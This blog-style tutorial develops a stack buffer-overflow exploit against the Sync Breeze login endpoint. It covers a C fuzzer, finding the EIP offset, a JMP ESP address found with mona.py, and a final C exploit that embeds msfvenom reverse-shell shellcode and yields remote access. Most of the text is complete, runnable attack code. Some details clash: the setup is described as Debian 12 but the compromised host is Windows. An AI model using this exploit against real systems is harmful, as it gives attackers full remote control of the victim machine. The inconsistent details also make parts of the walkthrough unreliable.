Exploit Development for Buffer Overflow
Exploit Development for Buffer Overflow
Hello, in this post I will develop an exploit and simulate a Buffer Overflow (BOF) attack in a practical way.
Objective: trigger a Buffer Overflow, overwrite the return address, and take control of the program’s execution flow, allowing remote access to the target machine through a reverse shell.
Before the practical part, we need to understand how a BOF works. In summary, a Buffer Overflow occurs when a program writes an excessive amount of data into a buffer, exceeding its capacity and overwriting adjacent areas in memory, including the function’s return address. In x86 assembly, when calling a function, the stack expands to save the return address (EIP) and the base pointer (EBP), along with local variables. If a buffer resides on the stack and there is no boundary check, an attacker can input data that exceeds the buffer size, which may result in modifying the EIP, allowing the manipulation of the execution flow and later the execution of a shellcode.
Understanding the Application:
In the testing environment with Sync Breeze properly configured on Debian 12, we will open it in the browser.
With the intention of capturing the requests to start analyzing how the application works, we will use TCPDUMP to understand and capture the network packets.
sudo tcpdump -i enp5s0 -s0 -w analise_sync.pcap
While tcpdump captures the network packets, we interact with the application to capture the requests made between the client and the server.
After interacting with the application solely for the purpose of generating network packets and understanding what happens under the hood, we will analyze these packets using a tool called Wireshark, which provides better visibility of the packets.
We will filter only by the HTTP protocol.
What draws attention at this moment is the POST method, which is accessing /login.
The application has some input fields, which allows us to build a fuzzer to analyze potential vulnerabilities. For that, we will use the following HTTP request header, where we will inject random data and perform tests for our BOF.
POST /login HTTP/1.1 Host: 192.168.5.17:8080 Conexão: keep-alive Comprimento do conteúdo: 37 Controle do cache: max-age=0 Origem: http://192.168.5.17:8080 Tipo de conteúdo: application/x-www-form-urlencoded Solicitações de atualização inseguras: 1 Agente do usuário: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/134.0.0.0 Safari/537.36 Aceitar: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referenciador: http://192.168.5.17:8080/login Aceitar-Codificação: gzip, deflate Aceitar-Idioma: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7 username=teste1234&password=senha1234
Building and Testing Our Fuzzer:
With the header in hand, we can start building our fuzzer in C language, targeting the /login endpoint. I am breaking the code into parts for better understanding.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#define SERVER_IP "192.168.5.17"
#define SERVER_PORT 8080
#define BUFFER_SIZE 4096
int main() {
int sock;
struct sockaddr_in server;
char buffer[BUFFER_SIZE];
for (int fuzz = 100; fuzz <= 2000; fuzz += 100) {
char *buf = (char *)malloc(fuzz + 1);
memset(buf, 'A', fuzz);
buf[fuzz] = '\0';
char payload[BUFFER_SIZE];
snprintf(payload, sizeof(payload), "username=%s&password=123456", buf);
char request[BUFFER_SIZE];
snprintf(request, sizeof(request),
"POST /login HTTP/1.1\r\n"
"Host: %s:%d\r\n"
"Connection: keep-alive\r\n"
"Content-Length: %lu\r\n"
"Cache-Control: max-age=0\r\n"
"Origin: http://%s:%d\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Upgrade-Insecure-Requests: 1\r\n"
"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n"
"Referer: http://%s:%d/login\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
"\r\n"
"%s",
SERVER_IP, SERVER_PORT, strlen(payload),
SERVER_IP, SERVER_PORT,
SERVER_IP, SERVER_PORT,
payload);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("Erro ao criar socket");
free(buf);
return 1;
}
server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT);
if (inet_pton(AF_INET, SERVER_IP, &server.sin_addr) <= 0) {
perror("Endereço inválido");
free(buf);
close(sock);
return 1;
}
if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
perror("Erro ao conectar ao servidor");
free(buf);
close(sock);
return 1;
}
printf("[*] Enviando %d bytes no parâmetro username...\n", fuzz);
if (send(sock, request, strlen(request), 0) < 0) {
perror("Erro ao enviar dados");
free(buf);
close(sock);
return 1;
}
int bytes_received = recv(sock, buffer, sizeof(buffer) - 1, 0);
if (bytes_received > 0) {
buffer[bytes_received] = '\0';
printf("Resposta:\n%s\n", buffer);
} else {
perror("Erro ao receber resposta");
}
close(sock);
free(buf);
}
return 0;
}
My fuzzer looks like this, and I will explain some important details about the code. The code performs fuzzing on the username field of an HTTP POST request, sending buffers of different sizes to test possible vulnerabilities in the server. First, it runs a loop that generates buffers from 100 to 2000 bytes, filled with the letter “A”, using the memset() function. This buffer is then incorporated into the request payload, which contains the username and password fields. Next, the program builds the HTTP request, including the headers and other necessary components to simulate a legitimate request. It also establishes a TCP socket, allowing communication with the server. If the connection is successful, the HTTP request is sent using the send() function.
By running the fuzzer, it was possible to observe at which point in the payload the application stops responding
At 800 bytes in the username parameter the app crashes and drops the connection. Reloading the page in the browser, you can see that the app actually crashed.
Resetting the app… Now that we noticed the username input field doesn’t have any filter or sanitization, it would be interesting to test other input fields to see how they behave. Sending the payload to the password parameter:
1
2
char payload[BUFFER_SIZE];
snprintf(payload, sizeof(payload), "username=admin&password=%s", buf);
And running our fuzzer again:
##Building a functional exploit: With this fuzzer, we managed to find two vulnerable parameters, which opens the door for us to code a functional exploit for this application.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#define SERVER_IP "192.168.5.17"
#define SERVER_PORT 8080
#define BUFFER_SIZE 4096
int main() {
int sock;
struct sockaddr_in server;
char buffer[BUFFER_SIZE];
char payload[BUFFER_SIZE];
char request[BUFFER_SIZE];
char buf[600];
memset(buf, 'A', sizeof(buf));
buf[599] = '\0';
snprintf(payload, sizeof(payload), "username=admin&password=%s", buf);
snprintf(request, sizeof(request),
"POST /login HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
"Accept-Language: en-US,en;q=0.5\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: %lu\r\n"
"Origin: http://%s\r\n"
"Connection: keep-alive\r\n"
"Referer: http://%s/login\r\n"
"Upgrade-Insecure-Requests: 1\r\n"
"\r\n"
"%s",
SERVER_IP, strlen(payload), SERVER_IP, SERVER_IP, payload);
printf("[*] Sending malicious payload ...\n");
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("Erro ao criar socket");
return 1;
}
server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT);
if (inet_pton(AF_INET, SERVER_IP, &server.sin_addr) <= 0) {
perror("Endereço inválido");
close(sock);
return 1;
}
if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
perror("Erro ao conectar ao servidor");
close(sock);
return 1;
}
if (send(sock, request, strlen(request), 0) < 0) {
perror("Erro ao enviar dados");
close(sock);
return 1;
}
int bytes_received = recv(sock, buffer, sizeof(buffer) - 1, 0);
if (bytes_received > 0) {
buffer[bytes_received] = '\0';
printf("Resposta:\n%s\n", buffer);
} else {
perror("Erro ao receber resposta");
}
close(sock);
return 0;
}
Our exploit sends a POST request in the password field, creating a buffer with 600 ‘A’ characters. The goal of this exploit is to test the server’s robustness when handling long inputs and to identify potential security issues.
Based on the response, we’ll start building our exploit. To continue developing it, we now need to use Immunity Debugger to attach to the Sync Breeze application and analyze its behavior in real time, giving us more control over the execution flow.
Our goal as the attacker and exploit creator is to take control of the EIP register, which we can see in the registers section of Immunity:
Why the EIP Register?
During a BOF, the crash happens when EIP gets an invalid value. If we manage to overwrite EIP with a controlled address, we can redirect the execution to any part of memory, including our shellcode.
Running the first step of the exploit:
So now we’re gonna run our exploit and check how the app behaves through Immunity Debugger:
The error message in Immunity shows that our exploit caused a crash because the EIP register was overwritten with ‘41414141’. That value, in the ASCII table, stands for ‘AAAA’. This confirms that, through our payload, we managed to break the program.
Finding the EIP Overwrite Offset with Metasploit Pattern:
To keep going with the exploit and development, now that I confirmed EIP can be overwritten, the next step is to find out exactly how many bytes it takes to reach the register. For that, I’m gonna use two tools: pattern_create and pattern_offset. This way, I’ll be sure how far the buffer fills so I can have full control of the execution flow. I’ll use pattern_create first, because the script makes a unique special chain that never repeats every 4 bytes. It helps find exactly where EIP got changed in the input.
We put this sequence into the exploit: 
And finally, we run the exploit with the new sequence added in the code, to check the result in Immunity: 
Looking at the register states after running the exploit, I saw that EIP got overwritten with the decimal sequence ‘72413372’, which is part of the pattern we sent in the exploit. Now we need to use pattern_offset to find the exact position in the string where this return address overwrite happens. That’s gonna be our main entry point.
After running it, I found out that EIP gets overwritten exactly at position 520 in the string. To double-check this for sure, I made a small change to the exploit to empirically confirm the exact offset where we control the register.
I’ll summarize my change to make it clearer: this change is to verify the offset — the buffer with ‘A’s fills the space before reaching EIP, then it puts 4 bytes of ‘B’ into EIP, and after that, it fills the rest of the stack after EIP with ‘C’s, which would be our shellcode here.
Running the exploit:
Looking at the registers, there’s our 4-byte sequence of ‘B’s converted to ASCII, meaning “42424242”. And checking the stack, there’s our sequence of ‘C’s, also converted to ASCII.
Taking Control: Redirecting EIP to Strategic Memory Areas:
Now we hit another problem in our logic. Our goal in this BOF is to control the execution flow, so we need EIP to point to the shellcode that’s going to run — and that shellcode is in the buffer right after EIP. So the question is: how do we make the program jump back and run what’s in the buffer?
The solution is to do a “JMP ESP.” If we put the JMP ESP instruction’s address into EIP, the program will redirect execution to wherever ESP is pointing — which in this case will be our shellcode. To do that, we need to find a memory address that contains this assembly instruction. Remember, it can’t have any bad chars and it can’t be from a mutable address.
To find this address, we’ll use mona.py, a script made to help with Immunity tasks, with these parameters:
1
!mona.py jmp -r esp
We ran a Follow in Disassembly on the memory address:
Okay, the address really executes the JMP ESP instruction. Now we’ll put this pointer into our exploit, remembering to pass the address reversed, because x86 uses Little Endian format — meaning the least significant bytes come first in memory. So, the address 10090C83 becomes \x83\x0C\x09\x10, and during execution, it will be converted back.
Now, in Immunity, we’ll check out the memory address we put in our exploit: 
Then, we add a breakpoint and run our exploit to see how it behaves so far. 
We can also see how the reversed address looks like in memory.
Creating our Shellcode:
After some digging and using the mona.py script, I was able to identify all the badchars: “\x00\x0a\x0d\x25\x26\x2b\x3d”. Using msfvenom, we’ll create a reverse shell free of badchars:
1
msfvenom -p windows/shell_reverse_tcp lhost=<ip_alvo> lport=4444 exitfunc=seh -f c -b '\x00\x0a\x0d\x25\x26\x2b\x3d' -v shellcode
Final exploit:
And here’s how my final exploit looks:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#define SERVER_IP "192.168.5.17"
#define SERVER_PORT 8080
#define BUFFER_SIZE 4096
int main() {
int sock;
struct sockaddr_in server;
char buffer[BUFFER_SIZE];
char payload[BUFFER_SIZE];
char request[BUFFER_SIZE];
char buf[1024];
unsigned char shellcode[] =
"\xda\xd9\xd9\x74\x24\xf4\x58\xba\xb9\xe2\xd9\xba\x33\xc9"
"\xb1\x52\x31\x50\x17\x03\x50\x17\x83\x51\x1e\x3b\x4f\x5d"
"\x37\x3e\xb0\x9d\xc8\x5f\x38\x78\xf9\x5f\x5e\x09\xaa\x6f"
"\x14\x5f\x47\x1b\x78\x4b\xdc\x69\x55\x7c\x55\xc7\x83\xb3"
"\x66\x74\xf7\xd2\xe4\x87\x24\x34\xd4\x47\x39\x35\x11\xb5"
"\xb0\x67\xca\xb1\x67\x97\x7f\x8f\xbb\x1c\x33\x01\xbc\xc1"
"\x84\x20\xed\x54\x9e\x7a\x2d\x57\x73\xf7\x64\x4f\x90\x32"
"\x3e\xe4\x62\xc8\xc1\x2c\xbb\x31\x6d\x11\x73\xc0\x6f\x56"
"\xb4\x3b\x1a\xae\xc6\xc6\x1d\x75\xb4\x1c\xab\x6d\x1e\xd6"
"\x0b\x49\x9e\x3b\xcd\x1a\xac\xf0\x99\x44\xb1\x07\x4d\xff"
"\xcd\x8c\x70\x2f\x44\xd6\x56\xeb\x0c\x8c\xf7\xaa\xe8\x63"
"\x07\xac\x52\xdb\xad\xa7\x7f\x08\xdc\xea\x17\xfd\xed\x14"
"\xe8\x69\x65\x67\xda\x36\xdd\xef\x56\xbe\xfb\xe8\x99\x95"
"\xbc\x66\x64\x16\xbd\xaf\xa3\x42\xed\xc7\x02\xeb\x66\x17"
"\xaa\x3e\x28\x47\x04\x91\x89\x37\xe4\x41\x62\x5d\xeb\xbe"
"\x92\x5e\x21\xd7\x39\xa5\xa2\x18\x15\xa0\x22\xf1\x64\xaa"
"\x53\x5d\xe0\x4c\x39\x4d\xa4\xc7\xd6\xf4\xed\x93\x47\xf8"
"\x3b\xde\x48\x72\xc8\x1f\x06\x73\xa5\x33\xff\x73\xf0\x69"
"\x56\x8b\x2e\x05\x34\x1e\xb5\xd5\x33\x03\x62\x82\x14\xf5"
"\x7b\x46\x89\xac\xd5\x74\x50\x28\x1d\x3c\x8f\x89\xa0\xbd"
"\x42\xb5\x86\xad\x9a\x36\x83\x99\x72\x61\x5d\x77\x35\xdb"
"\x2f\x21\xef\xb0\xf9\xa5\x76\xfb\x39\xb3\x76\xd6\xcf\x5b"
"\xc6\x8f\x89\x64\xe7\x47\x1e\x1d\x15\xf8\xe1\xf4\x9d\x06"
"\x13\xc4\x0b\x9e\x8a\xbd\x71\xc2\x2c\x68\xb5\xfb\xae\x98"
"\x46\xf8\xaf\xe9\x43\x44\x68\x02\x3e\xd5\x1d\x24\xed\xd6"
"\x37";
memset(buf, 'A', 520);
buf[520] = '\x83';
buf[521] = '\x0C';
buf[522] = '\x09';
buf[523] = '\x10';
memset(buf + 524, '\x90', 20); // NOP sled
memcpy(buf + 544, shellcode, sizeof(shellcode) - 1);
memset(buf + 544 + (sizeof(shellcode) - 1), 'C', 380 - (sizeof(shellcode) - 1));
buf[924] = '\0';
snprintf(payload, sizeof(payload), "username=admin&password=%s", buf);
snprintf(request, sizeof(request),
"POST /login HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
"Accept-Language: en-US,en;q=0.5\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: %lu\r\n"
"Origin: http://%s\r\n"
"Connection: keep-alive\r\n"
"Referer: http://%s/login\r\n"
"Upgrade-Insecure-Requests: 1\r\n"
"\r\n"
"%s",
SERVER_IP, strlen(payload), SERVER_IP, SERVER_IP, payload);
printf("[*] Sending shellcode payload...\n");
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("Erro ao criar socket");
return 1;
}
server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT);
if (inet_pton(AF_INET, SERVER_IP, &server.sin_addr) <= 0) {
perror("Endereço inválido");
close(sock);
return 1;
}
if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
perror("Erro ao conectar ao servidor");
close(sock);
return 1;
}
if (send(sock, request, strlen(request), 0) < 0) {
perror("Erro ao enviar dados");
close(sock);
return 1;
}
int bytes_received = recv(sock, buffer, sizeof(buffer) - 1, 0);
if (bytes_received > 0) {
buffer[bytes_received] = '\0';
printf("Resposta:\n%s\n", buffer);
} else {
perror("Erro ao receber resposta");
}
close(sock);
return 0;
}
In a separate terminal, I had Netcat listening on port 4444 and ran my exploit: 
And now we have access to the Windows machine. The shellcode made a reverse connection from the vulnerable system back to my machine, giving full control over the system where the app was running.
Thanks for your attention. I think we managed to hit our goal in this test, which was to exploit a Buffer Overflow vulnerability in a real app, using tools like Immunity Debugger, Mona.py, and Metasploit. By analyzing the app’s behavior and controlling the EIP register, we showed how it’s possible to manipulate execution flow and get remote access to the system.
























